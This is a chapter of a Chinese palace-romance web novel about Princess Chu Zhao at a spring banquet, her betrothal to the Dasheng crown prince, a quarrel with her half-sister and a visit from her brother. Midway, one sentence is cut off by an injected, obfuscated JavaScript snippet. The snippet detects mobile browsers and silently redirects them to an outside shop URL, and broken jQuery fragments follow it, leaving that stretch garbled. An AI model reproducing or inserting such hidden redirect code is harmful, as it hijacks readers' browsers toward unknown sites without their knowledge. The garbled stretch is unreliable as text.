4. 亲情
作品:《婚后清冷太子变绿茶小狗》 楚昭点了点头,指尖碰过夏荷刚斟满的青瓷盏,温烫的盏壁裹着细润的水汽。
她垂眸抿了一口,茶汤里浸润着山间的清新,这才轻声应道:“正是。”
林清雅托着腮若有所思:“长得倒是标志,在他面前,连你皇兄都稍逊几分。”话落还冲她眨了眨眼。
又转口道:“就是不知道性情如何,趁着今日也能窥探几分出来。”
未等楚昭应她,位于首位的长公主看众人坐定,执起案上的青瓷酒盏,丝竹声缓了下来,她眉眼间漾着温润的笑意,声音轻缓却清晰地落尽每个人耳里:
“今日浣花溪畔景色正好,各位能赴宴,本宫心存感念。只是我第一次主持浣花宴,若有疏漏怠慢之处,还望诸位担待。”
说着,她将酒盏举到胸前,目光扫过两岸的宾客,语气里多了一些轻快:
“这第一盏酒,先敬这误不得的好景。”
话毕仰头饮尽,一旁的宫女提着银壶,又续满了酒盏。
“这第二盏酒,敬在座的各位,在百忙之中还能赴宴。”
“第三盏酒,愿各位今日在此,都能得几分闲趣,别辜负这好时节。”
长公主仰头饮尽第三盏酒,酒液顺着她的唇角沾了点湿意。席间众人纷纷应声:
“谢长公主殿下。”举起酒盏饮尽了盏中的酒。
宴会开始,只见几艘小船从浣花溪上游慢慢靠近,随着水波慢慢漾出的涟漪,船头的舞女身着水绿罗裙翩翩起舞。
丝竹声悠悠响起,小船停在了溪中央,指尖轻轻一挑,藏于袖间的银铃响起了声。
舞女们随即齐抬足尖,罗裙下摆便像舒展开的荷叶瓣,一圈圈出现在船板上。
宴会一直持续到未时初刻。用完午膳便可自行离席,只要在申时中放灯之前回来即可。
众人可以沿着浣花溪漫步游玩,下游有一座拱桥可以通行,已订婚的少男少女可借此机会同游,未婚的公子小姐借着看景的由头往意中人身边凑。
桥边的桃林四月十九正是盛开的时候,风一吹便落得人满身花瓣。
等楚昭和林清雅一行人到的时候,姬渊和楚珩已经在桥边站着了。
林清雅则收起玩笑不恭的模样,跟着楚昭前去问安。
楚昭敛了敛裙摆,微微屈膝道:“见过皇兄,见过太子殿下。”
只见少女身着浅粉色的襦裙站在桃花林间,貌似天上的桃花仙女。
姬渊感觉自己的心跳砰砰作响,他握拳放于唇间轻咳一声,“公主不必多礼。”
楚昭起身唇角莞起微笑,冲楚珩问道:“皇兄怎么在此?”
“太子殿下说已与你相约,我便跟来了。”楚珩看着楚昭,目光里满是担忧。
林清雅眼睛转了一圈,看了看两边,随即走到楚珩跟前拉走了他:
“信王殿下,您快跟我过来。”
楚珩是楚昭一母同胞的兄长,比她年长五岁,早年间被明昌帝封了信王。
林清雅自幼跟着楚昭玩闹,楚珩常常要带着两个女童嬉耍,自然也把她看作妹妹。
楚珩被她猛地一拽,踉跄了下:“唉,唉,唉。”他扭头看着身后二人,还是跟着林清雅走了。
只剩楚昭和姬渊二人两两相望,还是姬渊先开口打破了空气中的寂静:
“此地的桃花林甚是好看,可有幸与公主同游?”
楚昭莞尔一笑,侧身让开了路:“太子殿下惯是会打趣的,请吧。”
二人并肩往桃花林走去,桃花落在肩头,闲情逸致。
“公主今日的衣裳倒是和桃花很配。”姬渊伸手接住了几瓣飘落的桃花,冲着楚昭笑道。
“只是头上的簪子有些素雅,配不上公主今日的衣裳。”
姬渊的视线落在楚昭的头上,她今日只戴了一只桃枝素银簪子,站在桃花间并不起眼。
他轻轻笑笑,忽地抬手从袖中取出了一个锦盒。
盖子打开,里面是一只缠金的桃枝簪,簪头点缀着几朵粉色丝绒缠花,栩栩如生。
坠着两缕流苏,单个的桃花瓣点缀,更像是从枝头刚落下的。
“第一次亲手送公主礼物,公主可还喜欢?”姬渊抬头,目光从簪子上移开,看向楚昭
楚昭怔了一下,这支簪子造型独特,很对她的喜好。抬头正好对上了姬渊的灼热的目光:
“很是喜欢。”
“那好。”姬渊的喉结轻轻动了动,他从锦盒里拿出了簪子,语气里稍带了些紧张,“我为你簪上。”
他上前一步,指尖避开了她的发梢,轻轻取下原先她头上的素银簪子。
又捏着簪尾轻轻推进她的发间,缠花桃苞恰好落在她鬓边的真桃花旁。
女子身上散发的幽香飘进鼻腔,姬渊只觉得自己的心跳快要停不下来了。
他马上与楚昭拉开了距离,轻轻咳了一声,不敢看向她。尽管如此,嫣红的耳尖还是出卖了他的内心。
“谢太子殿下。”楚昭冲他莞尔一笑。
未时,放灯开始了。
宫人捧着琉璃灯过来,灯罩上绘着金线勾勒的桃花,点燃灯芯后,暖黄的光透过琉璃,在水面投下晃动的花影。
长公主亲自将灯放入溪中,其余宾客也纷纷效仿,她们四人一同站在溪边,看着刚放下的桃花灯随着水流打转,慢悠悠漂向远处,与下游百姓放的纸灯渐渐汇成一片微光。
暮色渐浓时,鸾驾准备返程。林清雅随吏部尚书夫人一同离开,楚珩和姬渊二人一同护送楚昭回宫。
到了宫门口,车帘再次掀开,楚昭夏荷的手探身出来,她抬眸看向姬渊和楚珩,开口道:
“已经到宫门口了,皇兄与太子殿下就送到这里吧。”
楚珩笑着应下,又嘱托了些话。
见姬渊迟迟没有开口,楚昭便要转身离开。
身后清冽的嗓音响起,“公主,等着我来娶你。”
一切都在有条不紊地进行着,前线有了大晟两万精兵的加持,胡贼不敢轻举妄动,明昌帝近日来常常挂着笑。
这几日楚昭一早便去给楚皇后请安,母女二人一同用过早膳和午膳才回。
日子一天天热了起来,回芷兰院的路上,连廊的穿堂风吹过,带着初夏闷热的潮气,吹得人心口发闷。
刚转过长廊拐角,就撞见四公主楚歆抱着只狸猫坐在廊中亭间,见她过来,扬着声笑道:
“妹妹这是刚从皇后娘娘宫里出来?怎么瞧着这脸色不太好啊?”
明昌帝本性风流,后宫佳丽如云,宫里的皇子公主更是数不胜数。
楚歆是最得宠的宸妃所出,自小骄纵,眼里从没有旁人,养成了骄横跋扈的性子。
偏楚昭是楚皇后的女儿,又得明昌帝疼惜,二人虽没有什么矛盾,却也自幼就不对付。
楚昭淡淡笑了笑,“四姐姐说笑了。”
楚歆怀里的狸猫“喵”了一声,尾巴扫过她的手腕,她指腹轻轻挠着猫的下巴,幸灾乐祸道:
“我可听闻你那大晟未婚夫凶悍无比,是个不好惹的主,倒像是个冰块头。妹妹可别怪姐姐没提醒你,今后妹妹嫁过去,可要多带些暖炉啊哈哈哈。”
春桃气不过,抬脚就要上前,楚昭抬手制止
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205645|197323||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了她。
暖风轻轻吹过,楚昭发间的素银梨花簪流苏晃了晃。狸猫被风吹掉的叶子引得挣脱了楚歆的怀抱,消失在转角。
她抬眼看向楚歆,笑意不达眼底:“四姐姐的话,妹妹记住了。不过四姐姐操心的事太多,倒不如先管好自己院子里的猫。”
先前楚歆院子里的小太监仗势欺人,私下里散播宫女“与外男有染”的污言,那宫女性子刚烈,当晚就投了井以自证清白。
楚歆不想牵连自己,本想秘密处理了宫女的尸体,却不想被李公公撞个正着。
明昌帝大怒,楚歆落了个“驭下不严,心术不正”,被明昌帝禁足半月,这才刚刚解了禁足。
楚歆被气的脸色涨红,声音发紧,“你——!”半天说不出一句话。
“楚昭,你少在这儿装腔作势!不过是个马上要被送去和亲的公主。”
楚歆气的发狠,也管不得什么能说什么不能说,一心只想挖苦楚昭。
楚昭对她的这点儿伎俩已经司空见惯,只是淡淡看着楚歆,语气没什么起伏:
“和亲的公主再不济也是大晟未来的太子妃。”
楚歆被这话堵得一噎,狠狠剜了楚昭一眼,“我看你究竟能得意到几时。”
哼了一声,甩着袖子转身离开。
春桃看着楚歆离开的背影,愤恨道:“主子,四公主说得这话也太过分了。”
楚昭面上没有什么表情,道:“她不过是逞口舌之快,不必将她的话放在心上。”
经过楚歆这一岔,一行人回到芷兰院的时候,天色已晚,檐角的宫灯已经点了起来。
临到晚膳的时候,信王楚珩比吃食先进到芷兰院。
他手里提着一个食盒放到刚收拾出来准备用膳的案上,毫不见外地拉开椅子坐下:
“御膳房新做的槐花糕,我记得你上次说想吃甜口的。”
楚昭看见他,方才的郁气消散了大半,扬声叫春桃摆膳,偏头对着楚珩笑道:
“皇兄今日怎么有空来了?”
楚珩眉头紧缩:“这几日朝堂上都在吵吵你和亲一事,那太子一看就是不安好心,我不放心你。”
楚昭柔声安慰道,“大婚的日子早已定了下来,根本没有什么缓和的余地。你是知道的,我自小就不会让自己受委屈的”
宫女们端着餐碟鱼贯而入,青瓷碟在案上摆得整齐,把楚珩刚想说的话打散。
等人走后,楚珩焦急地说:“大晟不比南楚,在这里还有我和母后护着你,你到大晟之后,我们可够不着你了。”
他说着,眸色更沉了:“那太子心机深沉,你到了那边万事都要多留意,你把人都带走吧,用人的时候方便,让班月立马行动起来。”
楚昭看着他草木皆兵的模样,忍不住弯了弯眼:
“好了皇兄,按之前说好的我带走六成的人已经够了,班月已经着手行动了,剩下的人你留下。快快用膳吧,皇兄如今怎么比母后还要啰嗦。”
楚珩被气笑,指尖轻弹了下她的额头:“你个小没良心的,皇兄这是担心谁。你出嫁的时候,我随车队去送嫁,不过只能送你到边境,再往前怕是不行。”
楚昭捂着额头,嗔怒道:“皇兄我已经大了!到边境也好,若是让他们疑心反倒适得其反了。”
楚昭大婚的一些事宜全权交在楚珩手里。时间虽紧,但一切都不能含糊。
从各类陪嫁到送亲的仪仗规制都要他亲自过目,还要同大晟的礼官交涉,忙得脚不沾地。
这顿晚膳的时间都是好不容易挤出来的,刚用完晚膳就匆匆起身离开了芷兰院。

